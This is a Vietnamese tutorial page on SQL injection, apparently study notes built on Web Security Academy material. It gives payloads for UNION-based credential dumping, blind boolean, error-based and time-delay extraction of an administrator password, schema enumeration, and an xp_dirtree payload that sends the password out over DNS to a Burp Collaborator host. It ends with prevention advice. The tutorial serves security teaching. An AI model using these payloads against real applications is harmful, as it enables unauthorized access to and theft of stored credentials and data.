SQL Injection
Last updated
Last updated
SQLi là lỗ hổng bảo mật web cho phép kẻ tấn công can thiệp vào các truy vấn mà ứng dụng thực hiện đối với CSDL của chúng => Xem, sửa, xóa dữ liệu nhạy cảm mà thông thường không thể truy xuất được hoặc leo thang để xâm phạm máy chủ cơ sở hoặc cơ sở hạ tầng phụ trợ; ngoài ra còn có thể tận dụng để tấn công từ chối dịch vụ
Có thể dẫn đến truy cập trái phép vào dữ liệu nhạy cảm như: Mật khẩu, chi tiết thẻ tín dụng, thông tin cá nhân người dùng ... Những vụ tấn công này đã gây ra thiệt hại về uy tín và các khoản tiền phát theo quy định
Có thể có được một backdoor dẫn đến sự xâm phạm lâu dài
Phát hiện thủ cống sử dụng một tập hợp các bài kiểm tra có hệ thống với mọi entry point trong ứng dụng. Để thực hiện việc này, thường sẽ gửi
Ký tự dấu nháy đơn '
và tìm kiếm lỗi hoặc các bất thường khác.
Một số cú pháp SQL cụ thể đánh giá theo giá trị cơ sở (gốc) của entry point và một giá trị khác, đồng thời tìm kiếm sự khác biệt có hệ thống trong phản hồi của ứng dụng.
Các điều kiện Boolean như OR 1=1
và OR 1=2
, và tìm kiếm sự khác biệt trong phản hồi của ứng dụng.
Tải trọng được thiết kế để kích hoạt độ trễ thời gian khi được thực hiện trong truy vấn SQL và tìm kiếm sự khác biệt về thời gian phản hồi.
Phát hiện tự động sử dụng các công cụ như sqlmap, invicti, Burp Scanner, ...
Hầu hết các lỗ hổng SQL injection xảy ra trong mệnh đềWHERE
của truy vấn SELECT
Một số vị trí phổ biến khác mà SQL injection phát sinh là:
Trong UPDATE
, trong các giá trị được cập nhật hoặc tại mệnh đề WHERE
.
Trong INSERT
, bên trong các giá trị được chèn vào.
Trong SELECT
, bên trong tên bảng hoặc cột.
Trong SELECT
trong mệnh đề ORDER BY
.
Microsoft, MySQL
SELECT @@version
Oracle
SELECT * FROM v$version
PostgreSQL
SELECT version()
Ví dụ có thể sử dụng UNION
attack với đầu vào:
' UNION SELECT @@version--
Hầu hết các loại cơ sở dữ liệu (trừ Oracle) đều có một tập hợp các chế độ xem được gọi là lược đồ thông tin - cung cấp tông tin về cơ sở dữ liệu
Ví dụ
Truy vấn information_schema.tables
để liệt kê các bảng trong cơ sở dữ liệu:
SELECT * FROM information_schema.tables
Truy vấn information_schema.columns
để liệt kê các cột trong từng bảng:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
Liệt kê các bảng bằng cách truy vấn all_tables
:
SELECT * FROM all_tables
Liệt kê các cột bằng cách truy vấn all_tab_columns
:
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'
UNION attacks: Lấy dữ liệu từ các bảng CSDL khác
Blind SQL injection: Kết quả truy vấn bạn kiểm soát không được trả về trong phản hồi của ứng dụng
Khi một ứng dụng dễ bị SQL injection và kết quả của truy vấn được trả về trong phản hồi của ứng dụng, bạn có thể sử dụng từ khóaUNION
để truy xuất dữ liệu từ các bảng khác trong cơ sở dữ liệu
Từ khóa UNION
cho phép thực hiện một hoặc nhiều truy vấn SELECT
bổ sung và thêm kết quả vào truy vấn ban đầu
Ví dụ: SELECT a, b FROM table1 UNION SELECT c, d FROM table2
Để UNION
truy vấn có hiệu quả, hai yêu cầu chính phải được đáp ứng:
Các truy vấn riêng lẻ phải trả về cùng số cột.
Các kiểu dữ liệu trong mỗi cột phải tương thích giữa các truy vấn riêng lẻ.
Và để đảm bảo điều này thường liên quan đến việc tìm hiểu:
Có bao nhiêu cột được trả về từ truy vấn ban đầu.
Những cột nào được trả về từ truy vấn gốc có kiểu dữ liệu phù hợp để lưu trữ kết quả từ truy vấn được đưa vào.
Có 2 phương pháp hiệu quả để xác định có bao nhiêu cột được trả về từ truy vấn gốc, bao gồm:
Một phương pháp bao gồm việc chèn một loạt mệnh đề ORDER BY
và tăng chỉ số cột được chỉ định cho đến khi xảy ra lỗi. Ví dụ, nếu điểm chèn là một chuỗi được trích dẫn trong mệnh WHERE
đề của truy vấn gốc, bạn sẽ gửi:
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
...
Chuỗi payload này sửa đổi truy vấn gốc để sắp xếp kết quả theo các cột khác nhau trong tập kết quả. Cột trong mệnh ORDER BY
đề có thể được chỉ định theo index của nó, do đó bạn không cần biết tên của bất kỳ cột nào. Khi index của cột được chỉ định vượt quá số lượng cột thực tế trong tập kết quả, cơ sở dữ liệu trả về lỗi, chẳng hạn như:
The ORDER BY position number 3 is out of range of the number of items in the select list.
Ứng dụng có thể thực sự trả về lỗi cơ sở dữ liệu trong phản hồi HTTP của nó, nhưng nó cũng có thể đưa ra phản hồi lỗi chung. Trong những trường hợp khác, nó có thể chỉ trả về không có kết quả nào cả. Dù bằng cách nào, miễn là bạn có thể phát hiện ra một số khác biệt trong phản hồi, bạn có thể suy ra có bao nhiêu cột đang được trả về từ truy vấn.
Phương pháp thứ hai bao gồm việc gửi một loạt UNION SELECT
các dữ liệu chỉ định số lượng giá trị null ( NULL
có thể chuyển đổi sang mọi kiểu dữ liệu phổ biến, do đó, nó tối đa hóa cơ hội tải trọng sẽ thành công khi số cột là chính xác.) khác nhau:
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
...
Nếu số lượng giá trị null không khớp với số lượng cột, cơ sở dữ liệu sẽ trả về lỗi, chẳng hạn như:
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
Tương tự như kỹ thuật ORDER BY
kỹ thuật này, ứng dụng có thể thực sự trả về lỗi cơ sở dữ liệu trong phản hồi HTTP của nó, nhưng có thể trả về lỗi chung hoặc đơn giản là không trả về kết quả nào. Khi số lượng giá trị null khớp với số lượng cột, cơ sở dữ liệu trả về một hàng bổ sung trong tập kết quả, chứa các giá trị null trong mỗi cột. Hiệu ứng đối với phản hồi HTTP phụ thuộc vào code của ứng dụng. Nếu may mắn, bạn sẽ thấy một số nội dung bổ sung trong phản hồi, chẳng hạn như một hàng bổ sung trên bảng HTML. Nếu không, các giá trị null có thể kích hoạt một lỗi khác, chẳng hạn như NullPointerException
. Trong trường hợp xấu nhất, phản hồi có thể trông giống như phản hồi do số lượng giá trị null không chính xác. Điều này sẽ khiến phương pháp này không hiệu quả.
Trên Oracle, mọi truy vấnSELECT
truy vấn phải sử dụng từ khóa FROM
và chỉ định một bảng hợp lệ. Có một bảng tích hợp trên Oracle được gọi là dual
có thể được sử dụng cho mục đích này. Vì vậy, các truy vấn được tiêm vào trên Oracle sẽ cần trông giống như sau:
' UNION SELECT NULL FROM DUAL--
Các tải trọng được mô tả sử dụng chuỗi chú thích gạch ngang kép --
để chú thích phần còn lại của truy vấn gốc sau điểm tiêm. Trên MySQL, chuỗi gạch ngang kép phải được theo sau bởi một khoảng trắng. Ngoài ra, có thể sử dụng ký tự băm #
để xác định chú thích.
Tham dò từng cột để xem nó có thẻ chứa dữ liệu chuỗi hay không. Có thể gửi một loạt payload
UNION SELECT
đặt giá trị chuỗi vào từng cột theo lượt. Ví dụ, nếu truy vấn trả về bốn cột, bạn sẽ gửi:
' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--
Nếu kiểu dữ liệu cột không tương thích với dữ liệu chuỗi, truy vấn được đưa vào sẽ gây ra lỗi cơ sở dữ liệu, chẳng hạn như:
Conversion failed when converting the varchar value 'a' to data type int.
Nếu không xảy ra lỗi và phản hồi của ứng dụng chứa một số nội dung bổ sung bao gồm giá trị chuỗi được đưa vào thì cột có liên quan sẽ phù hợp để truy xuất dữ liệu chuỗi.
Khi xác định được số cột trả về bởi truy vấn ban đầu và tìm ra cột nào có thể chứa dữ liệu chuỗi, đã có thể truy xuất dữ liệu thú vị.
iả sử rằng:
Truy vấn ban đầu trả về hai cột, cả hai đều có thể chứa dữ liệu chuỗi.
Điểm chèn là một chuỗi được trích dẫn trong mệnh đề WHERE
.
Cơ sở dữ liệu chứa một bảng có tên users
có các cột username
vàpassword
.
Có thể lấy nội dung của bảng users
bằng cách gửi dữ liệu đầu vào:
' UNION SELECT username, password FROM users--
Nếu không biết thông tin về bảng này, cần phải đoán tên của các bảng và cột. Tất cả cơ sở dữ liệu hiện đại đều cung cấp các cách để kiểm tra cấu trúc cơ sở dữ liệu và xác định chúng chứa những bảng và cột nào
Có thể lấy nhiều giá trị cùng nhau trong một cột duy nhất này bằng cách nối các giá trị lại với nhau, sử dụng một dâu phân cách đẻ phân biệt các giá trị kết hợp. Ví dụ, trên Oracle, bạn có thể gửi đầu vào:
' UNION SELECT username || '~' || password FROM users--
||
là toán tử nối chuỗi trên Oracle. Truy vấn được tiêm sẽ nối các giá trị của các trường username
và password
, được phân tách bằng ~
ký tự.
Kết quả từ truy vấn chứa tất cả tên người dùng và mật khẩu, ví dụ:
...
administrator~s3cure
wiener~peter
carlos~montoya ...
Các cơ sở dữ liệu khác nhau sử dụng cú pháp khác nhau để thực hiện nối chuỗi
Oracle
'foo'||'bar'
Microsoft
'foo'+'bar'
PostgreSQL
'foo'||'bar'
MySQL
'foo' 'bar'
[Note the space between the two strings]
CONCAT('foo','bar')
Blind SQL injection khi một ứng dụng dễ bị tấn công bởi SQL injection, nhưng phản hồi HTTP của nó lại không chứa kết quả của truy vấn SQL có liên quan hoặc thông tin chi tiết về bất kỳ lỗi cơ sở dữ liệu nào
Xem xét một ứng dụng sử dụng cookie theo dõi để thu thập phân tích về việc sử dụng.
Khi Request chứa TrackingId
cookie được xử lý, ứng dụng sẽ sử dụng truy vấn SQL để xác định xem đây có phải là người dùng đã biết hay không:
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
Kết quả từ truy vấn không trả về cho người dùng, nhưng có thể xem xét trong Respone. Trong ví dụ này nếu một truy vấn được công nhận TrackingId
, truy vấn sẽ trả về dữ liệu và bạn nhận được thông báo "Welcome back" trong Response.
Có thể xác định câu trả lời cho bất kỳ điều kiện nào được đưa vào và trích xuất dữ liệu từng phần một qua:
…xyz' AND '1'='1
…xyz' AND '1'='2
Giá trị đầu tiên trong số các giá trị này khiến truy vấn trả về kết quả, vì AND '1'='1
điều kiện được đưa vào là đúng. Kết quả là, thông báo "Chào mừng trở lại" được hiển thị.
Giá trị thứ hai khiến truy vấn không trả về bất kỳ kết quả nào vì điều kiện được đưa vào là sai. Thông báo "Chào mừng trở lại" không được hiển thị.ư
Giả sử có một bảng được gọi Users
với các cột Username
và Password
, và một người dùng được gọi là Administrator
. Có thể xác định mật khẩu cho người dùng này bằng cách gửi một loạt các đầu vào để kiểm tra mật khẩu từng ký tự một với hàm SUBSTRING (hoặc SUBSTR trong Oracle): SUBSTRING(Chuỗi, Ví trí(bắt đầu từ 1), Độ dài)
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't
yz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's
Trên là quá trình xác định ký tự đầu tiên của mật khẩu dựa vào phản hồi có điều kiện trả về. Chúng ta có thể tiếp tục quá trình này để xác định một cách có hệ thống toàn bộ mật khẩu cho Administrator
.
Sử dụng thông báo lỗi để trích xuất hoặc suy ra dữ liệu nhạy cảm từ cơ sở dữ liệu, ngay cả trong bối cảnh mù. Khả năng thành công phụ thuộc vào cấu hình của CSDL và loại lỗi có thể kích hoạt:
Khai thác theo phản hồi lỗi cụ thể dựa trên kết quả của biểu thưc boolean, tương tự Khai thác Blind SQL injection bằng cách kích hoạt phản hồi có điều kiện
Kích hoạt các thông báo lỗi xuất dữ liệu được truy vấn trả về. Điều này có hiệu quả biến các lỗ hổng Blind SQL Injection thành các lỗ hổng có thể nhìn thấy.
Có thể kiểm tra một điều kiện boolean duy nhất và kích hoạt lỗi cơ sở dữ liệu nếu điều kiện là đúng.
Oracle
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual
Microsoft
SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END
PostgreSQL
1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END)
MySQL
SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a')
Ví dụ với ứng dụng sử dụng TrackingId
cookie, có thể sử đổi cookie đê thêm vào các giá trị tạo lỗi
Nếu lỗi gây ra sự khác biệt trong phản hồi HTTP của ứng dụng, có thể sử dụng điều này để xác định xem điều kiện được đưa vào có đúng không.
Sử dụng kỹ thuật này, bạn có thể lấy dữ liệu bằng cách kiểm tra từng ký tự một:
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
Cấu hình sai cơ sở dữ liệu đôi khi dẫn đến thông báo lỗi dài dòng. Những thông báo này có thể cung cấp thông tin có thể hữu ích cho kẻ tấn công.
Nếu ứng dụng phát hiện lỗi cơ sở dữ liệu khi truy vấn SQL được thực thi và xử lý chúng một cách nhẹ nhàng, sẽ không có bất kỳ sự khác biệt nào trong phản hồi của ứng dụng.
Trong tình huống này, thường khai thác lỗ hổng blind SQL injection bằng cách kích hoạt độ trễ thời gian tùy thuộc vào điều kiện được tiêm là đúng hay sai. Vì các truy vấn SQL thường được ứng dụng xử lý đồng bộ, nên việc trì hoãn thực thi truy vấn SQL cũng làm chậm phản hồi HTTP. Điều này cho phép bạn xác định tính đúng đắn của điều kiện được tiêm dựa trên thời gian nhận được phản hồi HTTP.
Oracle
dbms_pipe.receive_message(('a'),10)
Microsoft
WAITFOR DELAY '0:0:10'
PostgreSQL
SELECT pg_sleep(10)
MySQL
SELECT SLEEP(10)
Ví dụ, trên Microsoft SQL Server, có thể sử dụng các kỹ thuật sau để kiểm tra điều kiện và kích hoạt độ trễ tùy thuộc vào việc biểu thức có đúng hay không:
'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--
Đầu vào đầu tiên không kích hoạt độ trễ vì điều kiện 1=2
là sai.
Đầu vào thứ hai kích hoạt độ trễ 10 giây vì điều kiện 1=1
là đúng.
Sử dụng kỹ thuật này, chúng ta có thể lấy dữ liệu bằng cách kiểm tra từng ký tự một:
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
Một ứng dụng có thể thực hiện cùng một truy vấn SQL như ví dụ trước nhưng thực hiện theo cách không đồng bộ. Ứng dụng tiếp tục xử lý yêu cầu của người dùng trong luồng gốc và sử dụng luồng khác để thực hiện truy vấn SQL bằng cookie theo dõi. Phản hồi của ứng dụng không phụ thuộc vào việc truy vấn trả về bất kỳ dữ liệu nào, lỗi cơ sở dữ liệu xảy ra hay thời gian thực hiện truy vấn.
Trong tình huống này, thường có thể khai thác lỗ hổng blind SQL injection bằng cách kích hoạt các tương tác mạng ngoài băng tần với hệ thống mà bạn kiểm soát. Những tương tác này có thể được kích hoạt dựa trên điều kiện được tiêm để suy ra thông tin từng phần một. Hữu ích hơn, dữ liệu có thể được trích xuất trực tiếp trong tương tác mạng.
Có thể sử dụng nhiều giao thức mạng khác nhau cho mục đích này, nhưng thông thường hiệu quả nhất là DNS (dịch vụ tên miền). Nhiều mạng sản xuất cho phép truy vấn DNS thoát tự do, vì chúng rất cần thiết cho hoạt động bình thường của hệ thống sản xuất.
Quy trình chung để sử dụng thủ công Burp Collaborator là:
Tạo các tải trọng Collaborator, là các miền phụ của miền máy chủ Collaborator.
Chèn tải trọng vào yêu cầu và gửi yêu cầu đến ứng dụng mục tiêu.
Thăm dò máy chủ Collaborator để xem liệu ứng dụng có sử dụng tải trọng được đưa vào để tương tác với bất kỳ dịch vụ mạng nào hay không.
Sau khi xác nhận cách kích hoạt tương tác ngoài băng tần, bạn có thể sử dụng kênh ngoài băng tần để trích xuất dữ liệu từ ứng dụng dễ bị tấn công. Ví dụ:
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
Đầu vào này đọc mật khẩu của Administrator
người dùng, thêm một miền phụ Collaborator duy nhất và kích hoạt tra cứu DNS. Tra cứu này cho phép bạn xem mật khẩu đã thu thập:
S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net
Sử dụng cẩn thận các truy vấn có tham số, , đảm bảo rằng dữ liệu đầu vào của người dùng không thể can thiệp vào cấu trúc của truy vấn SQL dự định.
First-order SQL injection xảy ra khi ứng dụng xử lý dữ liệu đầu vào của người dùng từ HTTP và kết hợp dữ liệu đầu vào đó vào truy vấn SQL theo cách không an toàn.
Second-order SQL injection xảy ra khi ứng dụng lấy dữ liệu đầu vào của người đùng từ một HTTP Request và lưu lại sử dụng trong tương lai. Dữ liệu đầu vào được đặt vào CSDL, nhưng không có lỗ hổng nào xảy ra tại thời điểm dữ liệu được lưu trữ. Sau đó, khi xử lý một HTTP request khác, ứng dụng sẽ truy xuất dữ liệu đã lưu và kết hợp dữ liệu đó vào truy vấn SQL theo cách không an toàn.
Second-order SQL injection thường xảy ra trong các tình huống ứng dụng đã xử lý an toàn việc đặt đầu vào ban đầu vào CSDL mà không đảm bảo các bước sử dụng lại sau đó.
Để khai thác lỗ hổng SQL injection , thường cần phải tìm thông tin về cơ sở dữ liệu. Bao gồm:
Loại và phiên bản của phần mềm cơ sở dữ liệu.
Các bảng và cột có trong cơ sở dữ liệu.
Bạn có thể truy vấn cơ sở dữ liệu để xác định loại và phiên bản của nó. Thông tin này hữu ích khi xây dựng các cuộc tấn công phức tạp hơn.
Tiên tri
SELECT banner FROM v$version
SELECT version FROM v$instance
Microsoft
SELECT @@version
PostgreSQL
SELECT version()
MySQL
SELECT @@version
Ví dụ, bạn có thể sử dụng lệnh UNION
tấn công với thông tin đầu vào sau:
' UNION SELECT @@version--
Hầu hết các loại cơ sở dữ liệu (trừ Oracle) đều có một tập hợp các chế độ xem được gọi là lược đồ thông tin (information schema).
Ví dụ, bạn có thể truy vấn information_schema.tables
để liệt kê các bảng trong cơ sở dữ liệu:
SELECT * FROM information_schema.tables
Câu trả lời sẽ như sau:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME TABLE_TYPE =====================================================
MyDatabase dbo Products BASE TABLE
MyDatabase dbo Users BASE TABLE
MyDatabase dbo Feedback BASE TABLE
Đầu ra này cho biết có ba bảng, được gọi là Products
, Users
, và Feedback
.
Sau đó, bạn có thể truy vấn information_schema.columns
để liệt kê các cột trong từng bảng:
SELECT * FROM information_schema.columns WHERE table_name = 'Users'
Kết quả sẽ như sau:
TABLE_CATALOG TABLE_SCHEMA TABLE_NAME COLUMN_NAME DATA_TYPE ================================================================= MyDatabase dbo Users UserId int
MyDatabase dbo Users Username varchar
MyDatabase dbo Users Password varchar
Đầu ra này hiển thị các cột trong bảng được chỉ định và kiểu dữ liệu của mỗi cột.
Oracle
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
Microsoft
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQL
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQL
SELECT * FROM information_schema.tables
SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
Trên Oracle, bạn có thể tìm thấy những thông tin tương tự như sau:
Bạn có thể liệt kê các bảng bằng cách truy vấn all_tables
:
SELECT * FROM all_tables
Bạn có thể liệt kê các cột bằng cách truy vấn all_tab_columns
:
SELECT * FROM all_tab_columns WHERE table_name = 'USERS'
Có thể thực hiện các cuộc tấn công tiêm SQL bằng bất kỳ đầu vào nào có thể kiểm soát được được ứng dụng xử lý dưới dạng truy vấn SQL. Ví dụ, một số trang web lấy đầu vào ở định dạng JSON hoặc XML và sử dụng định dạng này để truy vấn cơ sở dữ liệu.
Sử dụng Truy vấn có Tham số (Prepared Statements): Cách hiệu quả nhất để ngăn chặn SQL Injection là sử dụng truy vấn có tham số thay vì nối chuỗi trực tiếp với đầu vào của người dùng. Điều này đảm bảo rằng dữ liệu người dùng được xử lý như dữ liệu thông thường chứ không phải mã thực thi.
Ví dụ mã dễ bị tấn công (nối chuỗi):
Ví dụ mã an toàn (truy vấn có tham số):
Sử dụng truy vấn có tham số khi nào:
Có thể áp dụng trong các câu lệnh WHERE
, giá trị của INSERT
hoặc UPDATE
.
Không áp dụng cho tên bảng, tên cột hoặc câu lệnh ORDER BY
.
Trong trường hợp này, bạn có thể:
Xác thực và chỉ cho phép giá trị hợp lệ (whitelisting).
Thay đổi logic truy vấn để tránh phụ thuộc vào đầu vào người dùng.
Tránh Nối Chuỗi trong Truy vấn: Chuỗi truy vấn SQL nên là hằng số cố định, không chứa bất kỳ dữ liệu động nào.
Xác thực Đầu vào và Whitelisting: Sử dụng whitelisting cho những phần truy vấn mà không thể dùng tham số.
Không Quyết Định Trường Hợp Cụ Thể: Không nên giả định rằng một số đầu vào là an toàn và nối chuỗi trực tiếp chúng vào truy vấn. Ngay cả dữ liệu tin cậy cũng có thể bị thay đổi hoặc khai thác.
được thiết kế để kích hoạt tương tác mạng ngoài băng tần khi được thực hiện trong truy vấn SQL và giám sát mọi tương tác phát sinh.
: Điều chỉnh truy vấn SQL để trả về kết quả bổ sung
: Điều chỉnh truy vấn SQL để trả về kết quả bổ sung
Khai thác blind SQL injection bằng cách kích hoạt lỗi có diều kiện
Trích xuất dữ liệu nhạy cảm thông qua các thông báo lỗi SQL chi tiết
. Đây là máy chủ cung cấp các triển khai tùy chỉnh của nhiều dịch vụ mạng khác nhau, bao gồm cả DNS. Nó cho phép bạn phát hiện khi nào các tương tác mạng xảy ra do gửi các tải trọng riêng lẻ đến một ứng dụng dễ bị tấn công.
Có thể sử dụng để tạo một tên miền phụ duy nhất và thăm dò máy chủ Collaborator để xác nhận thời điểm xảy ra bất kỳ tra cứu DNS nào.
Kỹ thuật Out-of-band ( ) là một cách mạnh mẽ để phát hiện và khai thác blind SQL injection, do khả năng thành công cao và khả năng trực tiếp trích xuất dữ liệu trong kênh out-of-band. Vì lý do này, kỹ thuật OAST thường được ưa chuộng ngay cả trong những tình huống mà các kỹ thuật khác để khai thác blind có hiệu quả.
Các định dạng khác nhau này có thể cung cấp nhiều cách khác nhau để vốn bị chặn do WAF và các cơ chế phòng thủ khác